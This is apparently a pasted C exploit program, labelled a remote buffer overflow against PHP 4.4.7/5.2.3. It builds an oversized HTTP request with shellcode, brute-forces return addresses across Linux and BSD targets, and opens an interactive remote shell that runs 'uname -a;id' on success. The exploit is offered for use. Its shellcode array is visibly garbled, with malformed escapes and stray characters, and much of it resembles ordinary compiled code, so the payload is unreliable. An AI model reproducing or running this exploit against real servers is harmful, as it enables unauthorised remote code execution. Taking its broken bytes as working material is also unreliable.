Public feed
#887419
/*
PHP <= 4.4.7 / 5.2.3 Remote Buffer Over Flow
02/01/2008 --- http://metasploit.com
koz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <signal.h>
#define EXPLOIT_TIMEOUT 5 /* num seconds to wait before assuming it failed */
#define RET_ADDR_INC 512
#define MEMCPY_s1_OWADDR_DELTA -146
#define PADSIZE_1 4
#define PADSIZE_2 5
#define PADSIZE_3 7
#define REP_POPULATOR 24
#define REP_RET_ADDR 6
#define REP_ZERO 36
#define REP_SHELLCODE 24
#define NOPCOUNT 1024
#define NOP 0x41
#define PADDING_1 'A'
#define PADDING_2 'B'
#define PADDING_3 'C'
#define PUT_STRING(s) memcpy(p, s, strlen(s)); p += strlen(s);
#define PUT_BYTES(n, b) memset(p, b, n); p += n;
#define SHELLCODE_LOCALPORT_OFF 30
char shellcode[] =
"\x55\x89\xe5\x83\xec\x08\xe8\x61"
"\x01\x00\x00\xe8\xb3\x01\x00\x00"
"\xe8\xd3\x07\x00\x00\xc9\xc3\xff"
"\x35\xbc\x9e\x04\x08\xff\x25\xc0"
"\x9e\x04\x08\x00\x00\xff\x25\xc4"
"\x9e\x04\x08\x68\x00\x00\x00"
"\x00\xe9\xe0\xff\xff\xff\xff"
"\x25\xc8\x9e\x04\x08\x68\x08\x00"
"\x00\x00\xe9\xd0\xff\xff\xff\xff"
"\x25\xcc\x9e\x04\x08\x68\x10"
"\x00\x00\x00\xe9\xc0\xff\xff\xff"
"\xff\x25\xd0\x9e\x04\x08\x68\x18"
"\x00\x00\x00\xe9\xb0\xff\xff\xff"
"\xff\x25\xd\x9e\x04\x08\x68\x20\x00"
"\x00\x00\xe9\xa0\xff"
"\xff\xff\xff\x25\xd8"
"\x9e\x04\x08\x68\x28\x00"
"\x00\x00\xe9\x90\xff\xff"
"\xff\xff\x25\xdc\x9e"
"\x04\x08\x68\x30\x00\x00"
"\x00\xe9\x80\xff\xff\xff "
"\xff\x25\xe0\x9e\x04"
"\x08\x68\x38\x00\x00\x00 "
"\xe9\x70\xff\xff\xff"
"\xff\x25\xe4\x9e\x04\x08 "
"\x68\x40\x00\x00\x00 "
"\xe9\x60\xff\xff\xff "
"\xff\x25\xe8\x9e\x04\x08 "
"\x68\x48\x00\x00\x00 "
"\xe9\x50\xff\xff\xff "
"\xff\x25\xec\x9e\x04\x08 "
"\x68\x50\x00\x00\x00 "
"\xe9\x40\xff\xff\xff "
"\xff\x25\xf0\x9e\x04\x08 "
"\x68\x58\x00\x00\x00 "
"\xe9\x30\xff\xff\xff "
"\xff\x25\xf4\x9e\x04\x08 "
"\x68\x60\x00\x00\x00 "
"\xe9\x20\xff\xff\xff "
"\xff\x25\xf8\x9e\x04\x08 "
"\x68\x68\x00\x00\x00 "
"\xe9\x10\xff\xff\xff "
"\xff\x25\xfc\x9e\x04\x08 "
"\x68\x70\x00\x00\x00 "
"\xe9\x00\xff\xff\xff "
"\xff\x25\x00\x9f\x04\x08 "
"\x68\x78\x00\x00\x00 "
"\xe9\xf0\xfe\xff\xff "
"\xff\x25\x04\x9f\x04\x08 "
"\x68\x80\x00\x00\x00 "
"\xe9\xe0\xfe\xff\xff "
"\xff\x25\x08\x9f\x04\x08 "
"\x68\x88\x00\x00\x00 "
"\xe9\xd0\xfe\xff\xff "
"\x3e\xed\x5e\x89\xe1 "
"\x83\xe4\xf0 "
"\x50\x54\x52 "
"\x68\xe5\x8c\x04\x08 "
"\x68\x98\x8c\x04\x08 "
"\x51\x56 "
"\x68\x38\x8c\x04\x08 "
"\xe8\x5f\xff\xff\xff "
"\xf4\x90\x90\x55 "
"\x89\xe5\x53 "
"\xe8\x1b\x00\x00\x00 "
"\x81\xc3\xfb\x17\x00\x00 "
"\x83\xec\x04 "
"\x8b\x83\xfc\xff\xff\xff "
"\x85\xc0\x74\x02\xff\xd0 "
"\x83\xc4\x04\x5b\x5d "
"\xc3\x8b\x1c\x24 "
"\xc3\x55\x89\xe5 "
"\x83\xec\x08 "
"\x80\x3d\x1c\x9f"
"\x04\x08\x00\x74\x0c "
"\xeb\x1c\x83\xc0\x04 "
"\xa3\x14\x9f\x04\x08 "
"\xff\xd2\xa1\x14\x9f\x04\x08 "
"\x8b\x10\x85\xd2 "
"\x75\xeb\xc6\x05\x1c\x9f\x04\x08\x01 "
"\xc9\xc3\x55\x89\xe5 "
"\x83\xec\x08\xa1\xe8\x9d\x04\x08 "
"\x85\xc0\x74\x12 "
"\xb8\x00\x00\x00\x00 "
"\x85\xc0\x74\x09 "
"\xc7\x04\x24\xe8\x9d\x04\x08 "
"\xff\xd0\xc9\xc3\x90\x90 "
"\x55\x89\xe5 "
"\x83\xec\x58 "
"\xc6\x45\xc4\x7f "
"\xc6\x45\xc5\x45 "
"\xc6\x45\xc6\x4c "
"\xc6\x45\xc7\x46 "
"\xc7\x44\x24\x04\x00\x00\x00 "
"\x00\x8b\x45\x08 "
"\x89\x04\x24 "
"\xe8\xd7\xfe\xff\xff "
"\x89\x45\xfc "
"\x83\x7d\xfc\xff "
"\x75\x0c "
"\xc7\x45\xbc\xff\xff\xff\xff "
"\xe9\x9d\x00\x00\x00 "
"\xc7\x44\x24\x08\x34\x00\x00"
"\x00\x8d\x45\xc8 "
"\x89\x44\x24\x04 "
"\x8b\x45\xfc "
"\x89\x04\x24 "
"\xe8\xe8\xfe\xfe\xff "
"\x8b\x45\xfc "
"\x89\x04\x24 "
"\xe8\xfd\xfd\xff\xff "
"\x8d\x45\xc4 "
"\x8d\x55\xc8 "
"\xc7\x44\x24\x08\x04\x00\x00 "
"\x00\x89\x44\x24\x04 "
"\x89\x14\x24\xe85\x3f\xe\xff\xff "
"\x85\xc0\x74\x09\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x51\x8b\x45\xd8\x66\x83\xf8\x02 "
"\x74\x09\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x3f\x0f\xb7\x45\xda "
"\x66\x83\xf8\x03 "
"\x74\x00\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x2c\x8b 4\x5 \xd8 "
"\x66\x83\xf8\x01 "
"\x74\x09\xc7\x45\xbc\xff\xff\xff\xff"
"\xeb\x1a\x0f\xb7\x45\xda "
"\x66\x83\xf8\x03\x74\x09 "
"\xc7\x45\xbc\xff\xff\xff\xff "
"\xeb\x07\xc7\x45\xbc\x00\x00\x00\x00"
"\x8b\x45\xbc "
"\xc9\xc3\x55 "
"\x89\xe5\x83\xec\x68 "
"\xc7\x44\x24\x04\x00\x00\x00"
"\x00\x8b\x45\x08 "
"\x89\x04\x24 "
"\xe8\x07\xfe\xff\xff "
"\x89\x45\xf8 "
"\x83\x7d\xf8\xff "
"\x75\x0c\xc7\x04\x24\x84\x8d\x04\x08"
"\xe8\x62\xfd\xff\xff "
"\x8b\x45\x0c "
"\x8b\x40\x2c "
"\x83\xe8\x08 "
"\x89\x45\xfc "
"\xc7\x44\x24\x08\x00\x00\x00 "
"\x00\x8b\x45\xfc "
"\x89\x44\x24\x04 "
"\x8b\x45\xf8 "
"\x89\x04\x24 "
"\xe8\xbc\xfd\xff\xff "
"\xc7\x44\x24\x08\x08\x00\x00 "
"\x00\x8d\x45\xb8 "
"\x89\x44\x24\x04 "
"\x8b\x45\xf8 "
"\x89\x04\x24 "
"\xe8\xf2\xfd\xff\xff "
"\x8b\x45\xf8 "
"\x89\x04\x24 "
"\xe8\x07\xfd\xff\xff "
"\x8d\x45\xb8 "
"\xc7\x44\x24\x08\x08\x00\x00 "
"\x00\xc7\x44\x24\x04\x8a\x8d\x04 "
"\x08\x89\x04\x24 "
"\xe8\x5c\xfd\xff\xff "
"\x85\xc0 "
"\x75\x09 "
"\xc7\x45\xac\x00\x00\x00\x00 "
"\xeb\x07\xc7\x45\xac\xff\xff\xff\xff "
"\x8b\x45\xac "
"\xc9\xc3 "
"\x55 "
"\x89\xe5 "
"\x57 "
"\x56 "
"\x81\xec\x50\x10\x00\x00 "
"\x8d\xbd\xc5\xef\xff\xff "
"\xbe\x94\x8d\x04\x08 "
"\xfc "
"\xb9\x1f\x00\x00\x00 "
"\xf3\xa4 "
"\xa1\x24\x9f\x04\x08 "
"\xc7\x44\x24\x04\x00\x00\x00"
"\x00\x89\x04\x24 "
"\xe8\x40\xfd\xff\xff "
"\x89\x45\xe4 "
"\x83\x7d\xe4\xff "
"\x0f\x84\x24\x01\x00\x00 "
"\x8d\x85\xc5\xef\xff\xff "
"\x89\x04\x24 "
"\xe8\xc5\xfc\xff\xff "
"\x89\x45\xf4 "
"\xc7\x44\x24\x08\xff\x01\x00"
"\x00 "
"\xc7\x44\x24\x04\x42\x00\x00"
"\x00\x8b\x45\xf4 "
"\x89\x04\x24 "
"\xe8\x07\xfd\xff\xff "
"\x89\x45\xe8 "
"\x83\x7d\xe8\xff "
"\x0f\x84\xeb\x00\x00\x00 "
"\xc7\x44\x24\x08\x00\x00\x00"
"\x00 "
"\xc7\x44\x24\x04\xa1\x27\x00 "
"\x00 "
"\x8b\x45\xe4 "
"\x89\x04\x24 "
"\xe8\xcf\xfc\xff\xff "
"\xeb\x1c "
"\x8b\x45\xec "
"\x89\x44\x24\x08 "
"\x8d\x85\xe4\xef\xff\xff "
"\x89\x44\x24\x04 "
"\x8b\x45\xe8 "
"\x89\x04\x24 "
"\xe8\x11\xfc\xff\xff "
"\xc7\x44\x24\x08\x00\x10\x00 "
"\x00\x8d\x85\xe4\xef\xff\xff "
"\x89\x44\x24\x04 "
"\x8b\x45\xe4 "
"\x89\x04\x24 "
"\xe8\xe4\xfc\xff\xff "
"\x89\x45\xec "
"\x83\x7d\xec\x00 "
"\x75\xbe\x8b\x45\xe4 "
"\x89\x04\x24 "
"\xe8\xf0\xfb\xff\xff "
"\x8b\x45\xe8 "
"\x89\x04\x24 "
"\xe8\xe5\xfb\xff\xff "
"\xa1\x24\x9f\x4\x08 "
"\xb9\xff\xff\xff\xff "
"\x89\x85\xb4\xef\xff\xff "
"\xb8\x00\x00\x00\x00 "
"\xfc\x8b\xbd\xb4\xef\xff\xff "
"\xf2\xae "
"\x89\xc8 "
"\xf7\xd0 "
"\x8d\x50\xff "
"\x8b\x0d\x24\x9f\x04\x08 "
"\x8b\x45\x08 "
"\x8b\x00 "
"\x89\x54\x24\x08 "
"\x89\x4c\x24\x04 "
"\x89\x04\x24 "
"\xe8\x75 \xfc \xff \xff "
"\xe8\xc0 \xfb \xff \xff "
"\x85\xc0 "
"\x75\x07 "
"\xe8\x87\xfc\xff\xff "
"\xeb \x1b "
"\xa1 \x18 \x9f \x04 \x08 "
"\x89 \x44 \x24 \x08 "
" \x8b \x45 \x08 "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \xf4 "
" \x89 \x04 \x24 "
" \xe8 \x0a \xfb \xff \xff "
" \x8b \x45 \xf4 "
" \x89 \x04 \x24 "
" \xe8 \x9f \xfb \xff \xff "
" \x81 \xc4 \x50 \x10 \x00 \x00 "
" \x5e "
" \x5f "
" \x5d "
" \xc3 "
" \x55 "
" \x89 \xe5 "
" \x57 "
" \x56 "
" \x81 \xec \x50 \x12 \x00 \x00 "
" \xc7 \x45 \xf0 \x00 \x00 \x00 \x00"
" \x8d \xbd \xc6 \xef \xff \xff"
" \xbe \xb3 \x8d \x04 \x08"
" \xfc "
" \xb9\x1a\x00\x00\x00"
" \xf3\xa4 "
" \xa1\x24\x9f\x04\x08 "
" \xc7 \x44 \x24 \x04 \x00 \x00 \x00 "
" \x00 "
" \x89 \x04 \x24 "
" \xe8 \xcb \xfb \xff \xff "
" \x89 \x45 \xe0 "
" \x83 \x7d \xe0 \xff "
" \x0f \x84 \x4a \x01 \x00 \x00 "
" \xc7 \x44 \x24 \x04 \x00 \x00 \x00 "
" \x00 "
" \x8b \x45 \x08 "
" \x89 \x04 \x24 "
" \xe8 \xab \xfb \xff \xff "
" \x89 \x45 \xe4 "
" \x83 \x7d \xe4 \xff "
" \x0f \x84 \x2a \x01 \x00 \x00 "
" \x8d \x85 \xc6 \xef \xff \xff "
" \x89 \x04 \x24 "
" \xe8 \x30 \xfb \xff \xff "
" \x89 \x45 \xf4 "
" \xc7 \x44 \x24 \x04 \x42 \x00 \x00 "
" \x00 "
" \x8b \x45 \xf4 "
" \x89 \x04 \x24 "
" \xe8 \x7a \xfb \xff \xff "
" \x89 \x45 \xe8 "
" \x83 \x7d \xe8 \xff "
" \x0f \x84 \xf9 \x00 \x00 \x00 "
" \xc7 \x45 \xec \x00 \x00 \x00 \x00 "
" \xeb \x40 "
" \xc7 \x44 \x24 \x08\x01\x00\x00 "
" \x00 "
" \x8d \x85 \xc6 \xed \xff \xff "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \xe0 "
" \x89 \x04 \x24 "
" \xe8 \x87 \xfb \xff \xff "
" \xc7 \x44 \x24 \x08 \x01 \x00 \x00 "
" \x00 "
" \x8d \x85 \xc6 \xed \xff \xff "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \xe8 "
" \x89 \x04 \x24 "
" \xe8 \x7a \xfa \xff \xff "
" \x8d \x45 \xec "
" \x83 \x00 \x01 "
" \x81 \x7d \xec \xa0 2\x7 0\x0 \x00 "
" \x7e \xb7 "
" \xeb \x1c "
" \x8b \x45 \xf0 "
" \x89 \x44 \x24 \x08 "
" \x8d \x85 \xe0 \xef \xff \xff "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \xe8 "
" \x89 \x04 \x24 "
" \xe8 \x4d \xfa \xff \xff "
" \xc7 \x44\x24\x08\x00\x10\x00 "
" \x00 "
" \x8d \x85 \xe0 \xef \xff \xff "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \xe4 "
"\x89 \x04 \x24 "
"\xe8 \x20 \xfb \xff \xff "
"\x89 \x45 \xf0 "
"\x83 \x7d \xf0 \x00 "
"\x75 \xbe "
"\xc7 \x44 \x24 \x08 0\x8 \x00 \x00"
"\x00 "
"\xc7 \x44 \x24 \x04 \x8a \x8d \x04 "
"\x08 "
"\x8b \x45 \xe8 "
"\x89 \x04 \x24 "
"\xe8 \x0c\x0a\xfa\xff \xff "
"\x8b \x45 \xe0 "
"\x89 \x04 \x24 "
"\xe8 \x11 \xfa \xff \xff "
"\x8b \x45 \xe4 "
"\x89 \x04 \x24 "
"\xe8 \x06 \xfa \xff \xff "
"\x8b \x45 \xe8 "
"\x89 \x04 \x24 "
"\xe8\xfb\xf9\xff\xff "
"\x8b\x45\x08 "
"\x89\x44\x24\x04 "
"\x8b\x45\xf4 "
"\x89\x04\x24 "
"\xe8\xc9\xf9\xff \xff "
"\x8b\x45\x0c "
"\x8b\x40\x10 "
"\x89\x44\x24\x04 "
"\x8b\x45\x08 "
"\x89\x04\x24 "
"\xe8\x34\xfa\xff \xff "
"\x81\xc4\x50\x12 \x00 \x00 "
"\x5e "
"\x5f "
"\x5d "
"\xc3 "
" \x55 "
" \x89 \xe5 "
" \x83 \xec \x18 "
" \x83 \x7d \x10 \x00 "
" \x75 \x5a "
" \x8b \x45 \x08 "
" \x89 \x04 \x24 "
" \xe8 \x53 \xfb \xff \xff "
" \x85 \xc0 "
" \x75 \x4b "
" \x8b \x45 \x0c "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \x08 "
" \x89 \x04 \x24 "
" \xe8 \x1d \xfc \xff \xff "
" \x83 \xf8 \xff "
" \x75 \x2b "
" \xa1 \x20 \x9f \x04 \x08 "
" \x83 \xf8 \x02 "
" \x7f \x21 "
" \x8b \x45 \x0c "
" \x89 \x44 \x24 \x04 "
" \x8b \x45 \x08 "
" \x89 \x04 \x24 "
" \xe8 \x17 \xfe \xff \xff "
" \xa1 \x20 \x9f \x04 \x08 "
" \x83 \xc0 \x01 "
" \xa3 \x20 \x9f \x04 \x08 "
" \xeb \x09 "
" \xc7 \x45 \xfc \x00 \x00 \x00 \x00 "
" \xeb \x07 "
" \xc7 \x45 \xfc \x00 \x00 \x00 \x00 "
" \x8b \x45 \xfc "
" \xc9 "
" \xc3 "
" \x55 "
" \x89 \xe5 "
" \x83 \xec \x18 "
" \x83 \xe4 \xf0 "
" \xb8 \x00 \x00 \x00 \x00 "
" \x83 \xc0 \x0f "
" \x83 \xc0 \x0f "
" \xc1 \xe8 \x04 "
" \xc1 \xe0 \x04 "
" \x29 \xc4 "
" \x8b \x45 \x0c "
" \x8b \x00 "
" \xa3 \x24 \x9f \x04 \x08 "
" \xc7 \x44 \x24 \x08 \x05 \x00 \x00 "
" \x00 "
" \xc7 \x44 \x24 \x04 \xc6 \x8b \x04 "
" \x08 "
" \xc7\x04\x24\xcd\x8d\x04\x08"
" \xe8 \xd6 \xf9 \xff \xff "
" \x8b \x45 \x0c "
" \x89 \x04 \x24 "
" \xe8 \x38 \xfc \xff \xff "
" \xc7 \x04 \x24 \x00 \x00 \x00 \x00"
" \xe8 \xaf \xf9 \xff \xff "
" \x90 "
" \x90 "
" \x90 "
"\x55 "
"\x89\xe5 "
"\x57 "
"\x56 "
"\x31\xf6 "
"\x53 "
"\xe8 \x37 \xfa \xff \xff "
"\x81 \xc3 \x17 \x12 \x00 \x00 "
"\x83 \xec \x0c "
"\xe8 \x99 \xf8 \xff \xff "
"\x8d \x83 \x20 \xff \xff \xff "
"\x8d \x93 \x20 \xff \xff \xff "
"\x89 \x45 \xf0 "
"\x29 \xd0 "
"\xc1 \xf8 \x02 "
"\x39 \xc6 "
"\x73 \x16 "
"\x89 \xd7 "
"\xff \x14 \xb2 "
" \x8b \x45 \xf0 "
" \x83 \xc6 \x01 "
" \x29 \xf8 "
" \x89 \xfa "
" \xc1 \xf8 \x02 "
" \x39 \xc6 "
" \x72 \xec "
" \x83 \xc4 \x0c "
" \x5b "
" \x5e "
" \x5f "
" \x5d "
" \xc3 "
" \x55 "
" \x89\xe5 "
" \x83\xec \x18 "
" \x89\x5d \xf4 "
" \xe8\xe5 \xf9 \xff \xff "
" \x81\xc3 \xc5 \x11 \x00 \x00 "
" \x89\x75 \xf8 "
" \x89\x7d \xfc "
" \x8d\xb3\x20\xff\xff\xff"
" \x8d\xbb\x20\xff\xff\xff"
" \x29\xfe "
" \xc1\xfe\x02 "
" \xeb\x03 "
" \xff\x14 \xb7 "
" \x83\xee \x01 "
" \x83\xfe \xff "
" \x75\xf5 "
" \xe8\x3a\x00 \x00 \x00 "
" \x8b\x5d\xf4 "
" \x8b\x75\xf8 "
" \x8b\x7d\xfc "
" \x89 \xec "
" \x5d "
" \xc3 "
" \x90\x55 "
" \x89 \xe5 "
" \x53 "
" \x83 \xec \x04 "
" \xa1 \xd8 \x9d \x04 \x08 "
" \x83 \xf8 \xff "
" \x74 \x12 "
" \xbb \xd8 \x9d \x04 \x08 "
" \xff \xd0 "
" \x8b \x43 \xfc "
" \x83 \xeb \x04 "
" \x83 \xf8 \xff "
" \x75 \xf3 "
" \x83 \xc4 \x04 "
" \x5b "
" \x5d "
" \xc3 "
" \x90 "
"\x90\x90\x55\x89\xe5\x53\xe8\x73\xf9"
"\xff\xff\x81\xc3\x53\x11\x00\x00\x83\xec\x04"
"\xe8\x69\xf9\xff\xff\x83"
"\xc4\x04\x5b\x5d\xc3";
struct {
char *type;
u_long retaddr;
} targets[] = { // Brute Force Option Available!
{ "Linux 2.4 3.0 x86 / PHP <= 4.4.7 / 5.2.3", 0xcf92f },
{ "Linux 2.6 3.0 x86 / PHP <= 4.4.7 / 5.2.3", 0x8f0aa },
{ "FreeBSD 6.0 x86 / PHP <= 4.4.7 / 5.2.3", 0x90600 },
{ "Brute Force Freebsd 5.1 x86 / PHP <= 4.4.7 / 5.2.3", 0x8f2a6 },
{ "Brute Force Linux 2.5 x86 / PHP <= 4.4.7 / 5.2.3", 0x90600 },
{ "Brute Force OpenBSD x86 / PHP <= 4.4.7 / 5.2.3", 0x9011a },
{ "OpenBSD 3.1 x86 / PHP <= 4.4.7 / 5.2.3 #2", 0x932ae },
};
int main(int argc, char *argv[]) {
char *hostp, *portp;
unsigned char buf[512], *expbuf, *p;
int i, j, lport;
int sock;
int bruteforce, owned, progress;
u_long retaddr;
struct sockaddr_in sin, from;
if(argc != 3) {
printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]);
printf(" Using targets:\t./php-hack 3 127.0.0.1:8080\n");
printf(" Using bruteforce:\t./php-hack 0x8f000 127.0.0.1:8080\n");
printf("\n--- --- - Potential targets list - --- ----\n");
printf("Target ID / Target specification\n");
for(i = 0; i < sizeof(targets)/8; i++)
printf("\t%d / %s\n", i, targets[i].type);
return -1;
}
hostp = strtok(argv[2], ":");
if((portp = strtok(NULL, ":")) == NULL)
portp = "80";
retaddr = strtoul(argv[1], NULL, 16);
if(retaddr < sizeof(targets)/8) {
retaddr = targets[retaddr].retaddr;
bruteforce = 0;
}
else
bruteforce = 1;
srand(getpid());
signal(SIGPIPE, SIG_IGN);
for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {
/* skip invalid return adresses */
i = retaddr & 0xff;
if(i == 0x0a || i == 0x0d)
retaddr++;
else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
continue;
sock = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(hostp);
sin.sin_port = htons(atoi(portp));
if(!progress)
printf("\n[*] Connecting.. ");
fflush(stdout);
if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
perror("connect()");
exit(1);
}
if(!progress)
printf("connected!\n");
/* Setup the local port in our shellcode */
i = sizeof(from);
if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
perror("getsockname()");
exit(1);
}
lport = ntohs(from.sin_port);
shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;
p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
+ ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));
PUT_STRING("GET / HTTP/1.1\r\nHost: php-hack.c\r\n");
for (i = 0; i < REP_SHELLCODE; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_3, PADDING_3);
PUT_STRING(": ");
PUT_BYTES(NOPCOUNT, NOP);
memcpy(p, shellcode, sizeof(shellcode) - 1);
p += sizeof(shellcode) - 1;
PUT_STRING("\r\n");
}
for (i = 0; i < REP_POPULATOR; i++) {
PUT_STRING("X-");
PUT_BYTES(PADSIZE_1, PADDING_1);
PUT_STRING(": ");
for (j = 0; j < REP_RET_ADDR; j++) {
*p++ = retaddr & 0xff;
*p++ = (retaddr >> 8) & 0xff;
*p++ = (retaddr >> 16) & 0xff;
*p++ = (retaddr >> 24) & 0xff;
}
PUT_BYTES(REP_ZERO, 0);
PUT_STRING("\r\n");
}
PUT_STRING("Transfer-Encoding: chunked\r\n");
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
PUT_STRING(buf);
PUT_BYTES(PADSIZE_2, PADDING_2);
snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
PUT_STRING(buf);
write(sock, expbuf, p - expbuf);
progress++;
if((progress%70) == 0)
progress = 1;
if(progress == 1) {
memset(buf, 0, sizeof(buf));
sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport %u",
retaddr, (unsigned int)(p - expbuf), lport);
memset(buf + strlen(buf), ' ', 74 - strlen(buf));
puts(buf);
if(bruteforce)
putchar(';');
}
else
putchar((rand()%2)? 'P': 'p');
fflush(stdout);
while (1) {
fd_set fds;
int n;
struct timeval tv;
tv.tv_sec = EXPLOIT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
memset(buf, 0, sizeof(buf));
if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) {
if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
break;
if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
printf("\nGOBBLE GOBBLE!@#%%)*#\n");
printf("retaddr 0x%lx did the trick!\n", retaddr);
sprintf(expbuf, "uname -a;id;echo hehe, now use 0day PHP RBOF\n");
write(sock, expbuf, strlen(expbuf));
owned++;
}
write(1, buf, n);
}
if(FD_ISSET(0, &fds)) {
if((n = read(0, buf, sizeof(buf) - 1)) < 0)
exit(1);
write(sock, buf, n);
}
}
if(!owned)
break;
}
free(expbuf);
close(sock);
if(owned)
return 0;
if(!bruteforce) {
fprintf(stderr, "Ooops.. hehehe!\n");
return -1;
}
}
return 0;
}